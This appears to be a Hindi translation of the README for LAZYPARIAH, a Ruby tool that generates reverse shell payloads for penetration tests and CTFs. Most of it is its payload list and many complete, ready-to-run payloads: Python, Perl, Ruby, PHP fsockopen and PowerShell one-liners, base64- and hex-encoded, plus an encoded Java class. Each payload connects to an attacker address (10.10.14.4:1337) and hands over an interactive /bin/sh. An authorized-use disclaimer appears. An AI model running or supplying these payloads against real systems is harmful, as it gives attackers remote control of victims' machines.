
रिवर्स शेल पेलोड को तुरंत उत्पन्न करने के लिए एक उपकरण।
एक कम-निर्भरता वाला कमांड-लाइन टूल जो तुरंत रिवर्स शेल पेलोड उत्पन्न करता है।
LAZYPARIAH एक सरल और आसानी से स्थापित होने वाला कमांड-लाइन टूल है जो शुद्ध Ruby में लिखा गया है और जिसका उपयोग पैठ परीक्षणों और कैप्चर-द-फ्लैग (CTF) प्रतियोगिताओं के दौरान तुरंत विभिन्न प्रकार के रिवर्स शेल पेलोड उत्पन्न करने के लिए किया जा सकता है।
LAZYPARIAH द्वारा समर्थित रिवर्स शेल पेलोड में शामिल हैं (लेकिन इन्हीं तक सीमित नहीं हैं):
c_binaryruby, ruby_b64, ruby_hex, ruby_cpowershell_c, powershell_b64python_b64rust_binarysystem() फ़ंक्शन के माध्यम से कॉल किए गए base64-एनकोडेड Python पेलोड होते हैं: php_system_python_b64java_classperl, perl_b64, perl_hex, perl_cphp_fd, php_fd_c, php_fd_tagsयह टूल केवल अधिकृत परिस्थितियों में योग्य पैठ परीक्षकों, सुरक्षा शोधकर्ताओं और रेड टीम पेशेवरों द्वारा उपयोग के लिए है। इस टूल को डाउनलोड, इंस्टॉल या उपयोग करने से पहले, सुनिश्चित करें कि आप अपने क्षेत्राधिकार में प्रासंगिक कानूनों को समझते हैं। इस टूल के लेखक अवैध या अनधिकृत उद्देश्यों के लिए इस टूल के उपयोग का समर्थन, प्रोत्साहन या अनुमोदन नहीं करते हैं।
java_class पेलोड के लिए आवश्यक।)c_binary पेलोड के लिए आवश्यक।)rust_binary पेलोड के लिए आवश्यक।)LAZYPARIAH को अधिकांश GNU/Linux और BSD प्रणालियों पर RubyGems इंस्टॉलर का उपयोग करके निम्नानुसार स्थापित किया जा सकता है:
gem install lazypariah
Usage: lazypariah [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>
Note: <ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.
Example: lazypariah -u python_b64 10.10.14.4 1555
Example: lazypariah python_c malicious.local 1337
Valid Payloads:
awk
bash_tcp
c_binary
java_class
nc
nc_openbsd
nc_pipe
nodejs
nodejs_b64
nodejs_c
nodejs_hex
perl
perl_b64
perl_c
perl_hex
php_fd
php_fd_c
php_fd_tags
php_system_python_b64
php_system_python_hex
php_system_python_ipv6_b64
php_system_python_ipv6_hex
powershell_b64
powershell_c
python
python_b64
python_c
python_hex
python_ipv6
python_ipv6_b64
python_ipv6_c
python_ipv6_hex
ruby
ruby_b64
ruby_c
ruby_hex
rust_binary
socat
Valid Options:
-h, --help Display help text and exit.
-l, --license Display license information and exit.
-u, --url URL-encode the payload.
-v, --version Display version information and exit.
-D, --fd INTEGER Specify the file descriptor used by the target for TCP. Required for certain payloads.
-P, --pv INTEGER Specify Python version for payload. Must be either 2 or 3. By default, no version is specified.
-N, --no-new-line Do not append a new-line character to the end of the payload.
--b64 Encode a c_binary, rust_binary or java_class payload in base-64.
--hex Encode a c_binary, rust_binary or java_class payload in hexadecimal.
--gzip Compress a c_binary, rust_binary or java_class payload using zlib.
--gzip_b64 Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in base-64.
--gzip_hex Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in hexadecimal.
ऊपर सूचीबद्ध पेलोड लगभग व्यवस्थित रूप से नामित हैं।
_c में समाप्त होने वाले पेलोड को शेल सत्र के अंदर से निष्पादित करने का इरादा है। ये पेलोड प्रासंगिक इंटरप्रेटर (जैसे python3 -c या ruby -e) का उपयोग करके सीधे कोड निष्पादित करते हैं।
उदाहरण के लिए, कमांड lazypariah python_c 10.10.14.4 1337 को निम्नलिखित आउटपुट उत्पन्न करना चाहिए:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
दूसरी ओर, कमांड lazypariah python 10.10.14.4 1337 को बस Python कोड का एक ब्लॉक उत्पन्न करना चाहिए जिसे संभावित रूप से .py फ़ाइल में रखा जा सकता है:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
सामान्य तौर पर, _b64 में समाप्त होने वाले पेलोड का चयन करने से एक कमांड उत्पन्न होना चाहिए जो शेल सत्र के अंदर से चलाने का इरादा रखता है, जैसे _c में समाप्त होने वाले पेलोड के समान, लेकिन कमांड संरचना में भिन्न होंगे। ये कमांड मूल रूप से base64-एनकोडेड कोड के एक ब्लॉक को base64 -d के माध्यम से और फिर प्रासंगिक इंटरप्रेटर (जैसे python3, python2 या ruby) के माध्यम से पाइप करेंगे।
उदाहरण के लिए, कमांड lazypariah python_b64 10.10.14.4 1337 को निम्नलिखित आउटपुट उत्पन्न करना चाहिए:
echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python
इसका अपवाद powershell_b64 है, जो Powershell के अंतर्निर्मित base64 डिकोडर का उपयोग करता है। उदाहरण के लिए, कमांड lazypariah powershell_b64 10.10.14.4 1337 को निम्नलिखित वापस करना चाहिए:
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
(नोट: उपरोक्त पेलोड की लंबाई इस तथ्य के कारण है कि Powershell UTF-16LE एन्कोडिंग का उपयोग करता है, जहां एक एकल वर्ण दो बाइट्स के अनुरूप होता है।)
इस प्रकार के पेलोड कुछ स्थितियों में उपयोगी हो सकते हैं क्योंकि उनमें कोई एकल या दोहरा उद्धरण शामिल नहीं होता है।
इसी प्रकार, _hex में समाप्त होने वाले पेलोड का चयन करने से एक कमांड उत्पन्न होगा जो हेक्साडेसिमल-एनकोडेड कोड के एक ब्लॉक को xxd -p -r - के माध्यम से और फिर प्रासंगिक इंटरप्रेटर के माध्यम से पाइप करता है। उदाहरण के लिए, lazypariah perl_hex 10.10.14.4 1337 को निम्नलिखित आउटपुट उत्पन्न करना चाहिए:
echo 75736520536f636b65743b24693d2231302e31302e31342e34223b24703d313333373b736f636b657428532c50465f494e45542c534f434b5f53545245414d2c67657470726f746f62796e616d6528227463702229293b696628636f6e6e65637428532c736f636b616464725f696e2824702c696e65745f61746f6e282469292929297b6f70656e28535444494e2c223e265322293b6f70656e285354444f55542c223e265322293b6f70656e285354444552522c223e265322293b6578656328222f62696e2f7368202d6922293b7d3b | xxd -p -r - | perl
संकलित पेलोड (c_binary, java_class और rust_binary) में zlib संपीड़न (--gzip), base64-एन्कोडिंग (--b64) और हेक्साडेसिमल-एन्कोडिंग (--hex) के लिए वैकल्पिक कमांड-लाइन तर्क हैं।
उदाहरण के लिए, कमांड lazypariah --b64 java_class 10.10.14.4 1337 को निम्नलिखित आउटपुट उत्पन्न करना चाहिए:
yv66vgAAADcAXwoAHQApBwAqBwArCAAsCgACAC0KAAIALgoAAgAvBwAwCAAxCgAIADIKACMAMwoAIwA0CgAIADMKACMANQoACAA1CgAIADYKACQANwoAJAA4CgAlADkKACUAOgUAAAAAAAAAMgoAOwA8CgAjAD0HAD4KACMAPwoACABABwBBBwBCAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAEMHAEQHAEUBAApFeGNlcHRpb25zAQAKU291cmNlRmlsZQEAB3JzLmphdmEMAB4AHwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoDAAeAEYMAEcASAwASQBKAQAPamF2YS9uZXQvU29ja2V0AQAKMTAuMTAuMTQuNAwAHgBLDABMAE0MAE4ATQwATwBQDABRAFIMAFMAVAwAVQBUDABWAFcMAFgAHwcAWQwAWgBbDABcAFQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABdAB8MAF4AHwEAAnJzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAFGphdmEvaW8vT3V0cHV0U3RyZWFtAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAE3JlZGlyZWN0RXJyb3JTdHJlYW0BAB0oWilMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpVgEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5nZXRFcnJvclN0cmVhbQEAD2dldE91dHB1dFN0cmVhbQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEACGlzQ2xvc2VkAQADKClaAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABXdyaXRlAQAEKEkpVgEABWZsdXNoAQAQamF2YS9sYW5nL1RocmVhZAEABXNsZWVwAQAEKEopVgEACWV4aXRWYWx1ZQEAB2Rlc3Ryb3kBAAVjbG9zZQAhABwAHQAAAAAAAQABAB4AHwACACAAAAEAAAYACQAAALAqtwABuwACWQS9AANZAxIEU7cABQS2AAa2AAdMuwAIWRIJEQU5twAKTSu2AAtOK7YADDoELLYADToFK7YADjoGLLYADzoHLLYAEJoAXS22ABGeAA8ZBy22ABK2ABOn//AZBLYAEZ4AEBkHGQS2ABK2ABOn/+4ZBbYAEZ4AEBkGGQW2ABK2ABOn/+4ZB7YAFBkGtgAUFAAVuAAXK7YAGFenAAg6CKf/oiu2ABostgAbsQABAJoAnwCiABkAAgAhAAAABgABAAAAAQAiAAAAKgAH/wBGAAgHABwHACMHAAgHACQHACQHACQHACUHACUAAAYSFBRXBwAZBAAmAAAABAABABkAAQAnAAAAAgAo
उपरोक्त उल्लिखित संकलित पेलोड में से किसी एक पर zlib संपीड़न करना भी संभव है, इससे पहले कि इसे base64 या हेक्साडेसिमल में एनकोड किया जाए, क्रमशः --gzip_b64 और --gzip_hex कमांड-लाइन तर्कों का उपयोग करके। उदाहरण के लिए, कमांड lazypariah --gzip_hex java_class 10.10.14.4 1337 को निम्नलिखित आउटपुट उत्पन्न करना चाहिए:
1f8b08003ca25960000375535d57125114dd83335ca0511431a53433b5f00bb42c13cc4ad3c2f0a3200dcd5a03dc741419d7cc50f6577ca8b57cf1b55eb095ab7e403fa6d52fc8ce0549c91aee6cced9779f7bce9939f3fdd7976f0046f0ca8336f430f432f4b9d0ef810303024202c20c832e0c79e0c2750f3a7143c0b0704bd64d6195e096075d181170db836e8c0a8828285f141ac59808b8c3302efeef8a987b0cf719262438c7f4bc6e8f4ba809f62c4a90278d2c97e08deb793e57d84a7333a9a573c4d4266c2db339ab6d977c864986070c53123c533b19be6deb46de22276114cc0c9fd6450833add086f646537109ed125a841dce69f9b5f0826964b8654d14f45c969b12ea4fb612b6a9e7d728389cd6f3616b5d044fab7888472a6298a1d24ada3cb7c30923b3c96d4a3a3418126b38342cd48f55c431ab624ec03c16543cc153150924553c13b0882515cfd1ce9052b18c15152f9094d07852c49f9654aca25dc54b51bfc3b4aa2a9d4f6ff00ca56f38d357e52cdd08c7f2db059b7ae2da96047f859d2fd8a7e8f3c195f8df0f202a5e46a3c9b3ba4949a64cd3302bf2b6e0724ffc7fcf322a41b16ccda4ba9a82ff904545bab3d962225ddd1ab7abea6dae9c50dd48b42cad2aca4b4475572da7824fef50b44bb7267386c5b3a5a95b96e0269d9e2b0f1a31319a4392d2b6f2d6d46d22e560a942e575ae60ad57bd85e4fab1d2ca71be2d943342e9e63bbabda8e50a620eb3dcb24de31d8932222d3ad04adf9db824fad170d2d776593870c24decc7de03488770a4e4afa849d5f8e4c40114b90867112c7e0857cae76e50460fe099ed2be2dc1c811a91fb8ba88d2864d7459c647b238cb07e17ab034534bc8737c0c8f015d1b87ff4332097b8fa00135699fc11508e49a7b02a242bc21fa0c47e3f9a3ea399ce6f59da872be2da3fda23e70225b9f8894adfc507ec21409d7440f42195babb42d80b768469b8185a193a9930ba2aab9b16a97d7eff124340c655d2cb1417a0fb1ad90e047f03b0d0dc15ad040000
कुछ पेलोड के लिए उपयोगकर्ता को TCP कनेक्शन के लिए लक्ष्य द्वारा उपयोग किए जाने वाले फ़ाइल डिस्क्रिप्टर को निर्दिष्ट करना आवश्यक होता है। ऐसे पेलोड का एक उदाहरण php_fd_tags है, जो एक सरल PHP पेलोड है जो PHP टैग (<?php और ?>) के भीतर संलग्न है और एक विशिष्ट फ़ाइल डिस्क्रिप्टर को लक्षित करता है।
किसी लक्ष्य फ़ाइल डिस्क्रिप्टर को निर्दिष्ट करने के लिए, उपयोगकर्ता को कमांड लाइन तर्क -D INTEGER या --fd INTEGER का उपयोग करना होगा। उदाहरण के लिए, एक php_fd_tags पेलोड उत्पन्न करने के लिए जो फ़ाइल डिस्क्रिप्टर 5 को लक्षित करता है, निम्नलिखित कमांड का उपयोग किया जा सकता है:
lazypariah -D 5 php_fd_tags 10.10.14.4 1337
परिणामी पेलोड निम्नानुसार होना चाहिए:
<?php $sock=fsockopen("10.10.14.4",1337);exec("/bin/sh -i <&5 >&5 2>&5");?>
नीचे कमांड और उनके संबंधित आउटपुट के कुछ उदाहरण दिए गए हैं।
lazypariah -P 3 -u python_b64 10.10.14.4 1337 कमांड का आउटपुट:
echo%20aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw%3D%3D%20%7C%20base64%20-d%20%7C%20python3
lazypariah -P 2 python_c 10.10.14.4 1337 कमांड का आउटपुट:
python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
lazypariah -D 3 php_fd_tags 10.10.14.4 1337 कमांड का आउटपुट:
<?php $sock=fsockopen("10.10.14.4",1337);exec("/bin/sh -i <&3 >&3 2>&3");?>
lazypariah ruby 10.10.14.4 1337 कमांड का आउटपुट:
require "socket";exit if fork;c=TCPSocket.new("10.10.14.4","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end
कॉपीराइट (C) 2020-2022 पीटर ब्रूस फनेल
यह प्रोग्राम मुफ्त सॉफ्टवेयर है: आप इसे फ्री सॉफ्टवेयर फाउंडेशन द्वारा प्रकाशित GNU जनरल पब्लिक लाइसेंस के संस्करण 3 या (आपके विकल्प पर) किसी बाद के संस्करण की शर्तों के तहत पुनर्वितरित और/या संशोधित कर सकते हैं।
यह प्रोग्राम इस उम्मीद में वितरित किया जाता है कि यह उपयोगी होगा, लेकिन बिना किसी वारंटी के; बिना व्यापारिकता या किसी विशेष उद्देश्य के लिए उपयुक्तता की निहित वारंटी के भी। अधिक जानकारी के लिए GNU जनरल पब्लिक लाइसेंस देखें।
आपको इस प्रोग्राम के साथ GNU जनरल पब्लिक लाइसेंस की एक प्रति प्राप्त होनी चाहिए थी। यदि नहीं, तो https://www.gnu.org/licenses/ देखें।